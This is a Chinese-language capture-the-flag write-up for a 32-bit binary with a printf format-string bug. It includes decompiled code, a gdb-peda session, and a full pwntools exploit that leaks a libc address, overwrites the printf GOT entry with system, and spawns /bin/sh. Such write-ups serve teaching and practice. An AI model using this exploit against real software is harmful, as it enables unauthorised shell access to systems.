这是一道字符串格式化漏洞的题目,给了libc,直接字符串格式化漏洞泄露出地址,就可以算出system的地址,最后再写got表就行了
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [sp+14h] [bp-6Ch]@3
int v4; // [sp+18h] [bp-68h]@5
int v5; // [sp+7Ch] [bp-4h]@1
v5 = *MK_FP(__GS__, 20);
setbuf(stdout, 0);
while ( 1 )
{
introduce();
do
__isoc99_scanf("%d", &v3);
while ( (char *)(char)getchar() == "\n" );
if ( v3 == 1 )
{
puts("please input your name:");
gets((char *)&v4);
printf((const char *)&v4);
puts(",you are welcome!");
}
else if ( v3 == 2 )
{
puts("nothing!!!!lol");
}
else
{
puts("please,don't trick me");
}
}
}
最初一看,以为是缓冲区溢出,一直循环没返回啊,不是缓冲区溢出。
原来输入直接传到了printf那里,可以利用字符串格式化漏洞
我们先看看printf的偏移,输入AAAA调试一下
gdb-peda$ b *0x08048618
Breakpoint 1 at 0x8048618
gdb-peda$ r
Starting program: /root/Desktop/iscc/pwn1
++++Welcome to ziiiro's class!++++
now you can do something:
1.get your name
2.heiheihei
plz input$1
please input your name:
AAAA
[----------------------------------registers-----------------------------------]
EAX: 0xffffd618 ("AAAA")
EBX: 0x0
ECX: 0xfbad2288
EDX: 0xf7fb087c --> 0x0
ESI: 0x1
EDI: 0xf7faf000 --> 0x1b2db0
EBP: 0xffffd688 --> 0x0
ESP: 0xffffd600 --> 0xffffd618 ("AAAA")
EIP: 0x8048618 (135>: call 0x80483e0 )
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804860c 123>: call 0x80483f0
0x8048611 128>: lea eax,[esp+0x18]
0x8048615 132>: mov DWORD PTR [esp],eax
=> 0x8048618 135>: call 0x80483e0
0x804861d 140>: mov DWORD PTR [esp],0x8048772
0x8048624 147>: call 0x8048410
0x8048629 152>: jmp 0x8048653 194>
0x804862b 154>: mov eax,DWORD PTR [esp+0x14]
Guessed arguments:
arg[0]: 0xffffd618 ("AAAA")
[------------------------------------stack-------------------------------------]
0000| 0xffffd600 --> 0xffffd618 ("AAAA")
0004| 0xffffd604 --> 0xffffd614 --> 0x1
0008| 0xffffd608 --> 0xc30000
0012| 0xffffd60c --> 0xffffd724 --> 0xffffd848 ("/root/Desktop/iscc/pwn1")
0016| 0xffffd610 --> 0xaffd000
0020| 0xffffd614 --> 0x1
0024| 0xffffd618 ("AAAA")
0028| 0xffffd61c --> 0x8048200 --> 0x1a
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048618 in main ()
gdb-peda$
我们看栈就行,我们看到我们可控的局部变量是printf的第7个参数,除去第一个格式化字符,就是偏移是6的位置
[------------------------------------stack-------------------------------------]
0000| 0xffffd600 --> 0xffffd618 ("AAAA")
0004| 0xffffd604 --> 0xffffd614 --> 0x1
0008| 0xffffd608 --> 0xc30000
0012| 0xffffd60c --> 0xffffd724 --> 0xffffd848 ("/root/Desktop/iscc/pwn1")
0016| 0xffffd610 --> 0xaffd000
0020| 0xffffd614 --> 0x1
0024| 0xffffd618 ("AAAA")
0028| 0xffffd61c --> 0x8048200 --> 0x1a
当然pwntools牛逼得很,直接可以算出来
# -*- coding: utf-8 -*-
from pwn import *
def getoffset(payload):
p = process("./pwn1")
p.recvuntil("input$")
p.sendline('1')
p.recvuntil('please input your name:\n')
p.sendline(payload)
info = p.recvuntil(",you")[:-4]
p.close()
return info
autofmt = FmtStr(getoffset)
print autofmt.offset
运行结果
root@kali:~/Desktop/iscc# python getoffset.py
[+] Starting local process './pwn1': pid 1918
[*] Stopped process './pwn1' (pid 1918)
[+] Starting local process './pwn1': pid 1920
[*] Stopped process './pwn1' (pid 1920)
[+] Starting local process './pwn1': pid 1922
[*] Stopped process './pwn1' (pid 1922)
[+] Starting local process './pwn1': pid 1924
[*] Stopped process './pwn1' (pid 1924)
[+] Starting local process './pwn1': pid 1926
[*] Stopped process './pwn1' (pid 1926)
[+] Starting local process './pwn1': pid 1928
[*] Stopped process './pwn1' (pid 1928)
[*] Found format string offset: 6
6
当然也可以泄露gets,puts的地址
p.recvuntil("input$")
p.sendline('1')
p.recvuntil('please input your name:\n')
payload = p32(got_printf) + "%6$s"
#print repr(payload)
p.sendline(payload)
printf_addr_and_xxx = p.recvuntil(",you")
printf_addr = u32(printf_addr_and_xxx[4:8])
print "printf_addr = " + hex(printf_addr)
算出system的地址
libc = ELF('./libc32.so')
......
system_addr = printf_addr - (libc.symbols['printf'] - libc.symbols['system'])
print "system_addr = " + hex(system_addr)
利用gets函数传入/bin/sh,最终执行system(‘/bin/sh’)
p.recvuntil("input$")
p.sendline('1')
p.recvuntil('please input your name:\n')
payload2 = fmtstr_payload(6, {got_printf: system_addr})
p.sendline(payload2)
p.sendline('1')
p.recvuntil('please input your name:\n')
p.sendline('/bin/sh\0')
from pwn import *
#context.log_level = 'debug'
libc = ELF('./libc32.so')
elf = ELF("./pwn1")
got_printf = elf.got['printf']
#print hex(got_printf)
p = process("./pwn1")
#p = remote("127.0.0.1", 10001)
p.recvuntil("input$")
p.sendline('1')
p.recvuntil('please input your name:\n')
payload = p32(got_printf) + "%6$s"
p.sendline(payload)
printf_addr_and_xxx = p.recvuntil(",you")
printf_addr = u32(printf_addr_and_xxx[4:8])
print "printf_addr = " + hex(printf_addr)
system_addr = printf_addr - (libc.symbols['printf'] - libc.symbols['system'])
print "system_addr = " + hex(system_addr)
p.recvuntil("input$")
p.sendline('1')
p.recvuntil('please input your name:\n')
payload2 = fmtstr_payload(6, {got_printf: system_addr})
p.sendline(payload2)
p.sendline('1')
p.recvuntil('please input your name:\n')
p.sendline('/bin/sh\0')
p.interactive()